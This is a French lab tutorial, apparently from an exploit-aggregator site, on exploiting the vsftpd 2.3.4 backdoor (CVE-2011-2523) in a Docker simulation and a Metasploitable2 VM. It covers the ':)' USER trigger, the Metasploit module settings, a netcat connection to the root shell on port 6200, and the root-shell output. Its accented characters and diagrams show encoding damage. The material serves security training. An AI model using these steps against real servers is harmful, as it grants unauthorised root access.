Share
## https://sploitus.com/exploit?id=63A5C9A7-C241-5E83-9EE6-ABAB44BDD270
# TP : Exploitation VSFTPD 2.3.4 Backdoor
## Table des Matières
1. [Contexte de la VulnΓ©rabilitΓ©](#contexte-de-la-vulnΓ©rabilitΓ©)
2. [Comparatif des MΓ©thodes](#comparatif-des-mΓ©thodes)
3. [MΓ©thode 1 : Docker (Simulation)](#mΓ©thode-1--docker-simulation)
4. [MΓ©thode 2 : Metasploitable2 dans UTM](#mΓ©thode-2--metasploitable2-dans-utm)
5. [Comprendre les SubtilitΓ©s macOS](#comprendre-les-subtilitΓ©s-macos)
6. [DΓ©pannage](#dΓ©pannage)
7. [Ressources](#ressources)
---
## Contexte de la VulnΓ©rabilitΓ©
### Qu'est-ce que vsftpd 2.3.4 ?
**vsftpd** (Very Secure FTP Daemon) est un serveur FTP populaire sous Linux. En **juillet 2011**, une version compromise (2.3.4) a Γ©tΓ© distribuΓ©e contenant une **backdoor cachΓ©e** (CVE-2011-2523).
### Comment fonctionne la backdoor ?
```text
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β MΓCANISME DE LA BACKDOOR β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β
β 1. L'attaquant se connecte au port FTP (21) β
β β β
β 2. Il envoie un USER avec ":)" dans le nom β
β Exemple: USER test:) β
β β β
β 3. Le code malveillant dΓ©tecte le smiley ":)" β
β β β
β 4. Un shell root s'ouvre sur le port 6200 β
β β β
β 5. L'attaquant se connecte au port 6200 β SHELL ROOT! β
β β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
```
### Le trigger `:)`
Le code malveillant recherche la sΓ©quence **`:)`** dans la commande `USER` :
```bash
USER test:)
```
> **Attention Zsh sur macOS** : Utilisez des **quotes simples** si vous tapez manuellement : `'USER test:)'`
---
## Comparatif des MΓ©thodes
| Aspect | Docker (MΓ©thode 1) | Metasploitable2 (MΓ©thode 2) |
|--------|-------------------|----------------------------|
| **AuthenticitΓ©** | Simulation Python | Vrai binaire vulnΓ©rable |
| **ComplexitΓ©** | Plus complexe | Plus simple |
| **Objectif** | Comprendre le mΓ©canisme | Reproduire l'attaque rΓ©elle |
| **PrΓ©requis** | Docker Desktop | UTM + VM Metasploitable2 |
**Recommandation** : La **MΓ©thode 2** est plus rΓ©aliste. La **MΓ©thode 1** est utile si vous n'avez pas de VM.
---
## MΓ©thode 1 : Docker (Simulation)
### PrΓ©requis
- Docker Desktop installΓ© et lancΓ©
- Metasploit Framework (`msfconsole`)
- 3 terminaux macOS
### Architecture
```text
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β ARCHITECTURE DOCKER β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β macOS (127.0.0.1) β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β Metasploit β localhost:21 β β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β β
β β β
β ββββββββββββββββ Docker Container βββββββββββββββββββββββββ
β β Port 21 (mappΓ©) Port 6200 (NON mappΓ©) ββ
β β β β ββ
β β β β ββ
β β backdoor.py βββββββββββ socat (Shell root) ββ
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
```
> **Important** : On ne mappe **PAS** le port 6200 au dΓ©marrage, sinon Metasploit dit "Already backdoored" et abandonne.
---
### Γtape 1 : Construire et Lancer le Conteneur
**Terminal 1 :**
```bash
# Se placer dans le dossier du projet
cd /Users/nicolas/Documents/workspace/Securite
# Nettoyer les anciens conteneurs
docker rm -f vsftpd 2>/dev/null
# Construire l'image (--platform pour Mac ARM)
docker build --platform linux/amd64 -t vsftpd:vulnerable .
# Lancer le conteneur SANS mapper le port 6200
docker run --platform linux/amd64 -d --name vsftpd -p 21:21 vsftpd:vulnerable
# VΓ©rifier
docker ps
```
---
### Γtape 2 : Suivre les Logs
**Terminal 2 :**
```bash
docker logs -f vsftpd
```
Vous verrez :
```text
[*] Port 6200 is NOT open at startup - Metasploit will work!
[+] FTP proxy listening on port 21
[*] Waiting for connections...
```
---
### Γtape 3 : Lancer Metasploit et Trigger
**Terminal 3 :**
```bash
msfconsole -q
```
Dans Metasploit :
```bash
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 127.0.0.1
set RPORT 21
set payload cmd/unix/interact
run
```
**RΓ©sultat dans les logs (Terminal 2) :**
```text
[!] TRIGGER DETECTED IN USER COMMAND!
[!] BACKDOOR TRIGGERED!
[+] Backdoor shell ready on port 6200
```
> Metasploit affiche "no session created" β c'est **normal** car le port 6200 n'est pas mappΓ© vers macOS.
---
### Γtape 4 : Se Connecter au Shell
**Terminal 1 :**
```bash
docker exec -it vsftpd nc 127.0.0.1 6200
```
Vous Γͺtes maintenant dans le shell root ! VΓ©rifiez :
```bash
id
# uid=0(root) gid=0(root) groups=0(root)
whoami
# root
```
---
### RΓ©sumΓ© des Terminaux
| Terminal | RΓ΄le | Commande |
|----------|------|----------|
| **1** | Lancer le conteneur | `docker run ... -p 21:21 vsftpd:vulnerable` |
| **2** | Voir les logs | `docker logs -f vsftpd` |
| **3** | Trigger via Metasploit | `msfconsole` β `run` |
| **1** | Connexion au shell | `docker exec -it vsftpd nc 127.0.0.1 6200` |
---
### Nettoyage
```bash
docker rm -f vsftpd
docker rmi vsftpd:vulnerable # Optionnel
```
---
## MΓ©thode 2 : Metasploitable2 dans UTM
### PrΓ©requis
- UTM installΓ© sur macOS
- VM Metasploitable2 importΓ©e
- RΓ©seau en **NAT** ou **Bridged**
### Architecture
```text
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β ARCHITECTURE METASPLOITABLE2 β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β macOS (127.0.0.1) β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β Metasploit β 192.168.128.2:21 βββββ :6200 β β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β β β
β β β β
β βββββββββββββ UTM (Metasploitable2) βββββββββββββββββββββββ
β β vsftpd 2.3.4 (vrai binaire vulnΓ©rable) ββ
β β Port 21 β DΓ©tecte ":)" β Ouvre port 6200 ββ
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
```
---
### Γtape 1 : DΓ©marrer la VM
1. Ouvrez **UTM**
2. SΓ©lectionnez **Metasploitable2**
3. Cliquez sur **DΓ©marrer**
4. Login : `msfadmin` / Password : `msfadmin`
---
### Γtape 2 : RΓ©cupΓ©rer l'IP de la VM
Dans la VM :
```bash
ifconfig eth0
```
Notez l'IP (exemple : `192.168.128.2`)
---
### Γtape 3 : VΓ©rifier la ConnectivitΓ©
Sur macOS :
```bash
# VΓ©rifier que la VM rΓ©pond
ping -c 3 192.168.128.2
# VΓ©rifier le port FTP
nc -zv 192.168.128.2 21
# Attendu : Connection succeeded!
# VΓ©rifier que le port 6200 est fermΓ© (avant l'exploit)
nc -zv 192.168.128.2 6200
# Attendu : Connection refused
```
---
### Γtape 4 : Lancer l'Exploit
```bash
msfconsole -q
```
Dans Metasploit :
```bash
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.128.2
set RPORT 21
set payload cmd/unix/interact
run
```
---
### Γtape 5 : RΓ©sultat
```text
[*] 192.168.128.2:21 - Banner: 220 (vsFTPd 2.3.4)
[+] 192.168.128.2:21 - Backdoor service has been spawned, handling...
[*] Found shell.
[*] Command shell session 1 opened
```
**Vous avez un shell root !**
VΓ©rifiez :
```bash
id
# uid=0(root) gid=0(root) groups=0(root)
whoami
# root
```
---
## Comprendre les SubtilitΓ©s macOS
### Pourquoi `--platform linux/amd64` ?
Les Mac Apple Silicon (M1/M2/M3/M4) utilisent **ARM64**. L'image Docker est pour **x86_64**. Cette option active l'Γ©mulation via Rosetta 2.
### Pourquoi le port 6200 ne peut pas Γͺtre mappΓ© ?
1. **Si mappΓ© au dΓ©marrage** : Metasploit voit le port ouvert β "Already backdoored" β Abandon
2. **`--network host` ne fonctionne pas** sur macOS (Docker tourne dans une VM Linux)
**Solution** : Utiliser `docker exec` pour se connecter directement au conteneur.
### Le problème du `!` dans zsh
Zsh interprète `!` comme "history expansion". Solutions :
- Quotes simples : `'test:)'`
- DΓ©sactiver : `setopt NO_BANG_HIST`
---
## DΓ©pannage
### "Port 6200 is already open" (Docker)
```bash
docker rm -f vsftpd
docker run --platform linux/amd64 -d --name vsftpd -p 21:21 vsftpd:vulnerable
```
### "Connection refused" sur port 21
- VΓ©rifiez que la VM/conteneur est dΓ©marrΓ©
- VΓ©rifiez l'IP avec `ifconfig` ou `docker ps`
- Testez avec `nc -zv 21`
### "Exploit completed, but no session created" (Docker)
C'est **normal** ! Utilisez `docker exec -it vsftpd nc 127.0.0.1 6200` pour accΓ©der au shell.
### Pas d'IP sur la VM
```bash
sudo dhclient eth0
# ou
sudo ifconfig eth0 192.168.128.100 netmask 255.255.255.0
```
---
## Ressources
- **CVE** : [CVE-2011-2523](https://nvd.nist.gov/vuln/detail/CVE-2011-2523)
- **Exploit Metasploit** : [vsftpd_234_backdoor](https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor/)
- **Ports utilisΓ©s** : 21 (FTP), 6200 (Backdoor)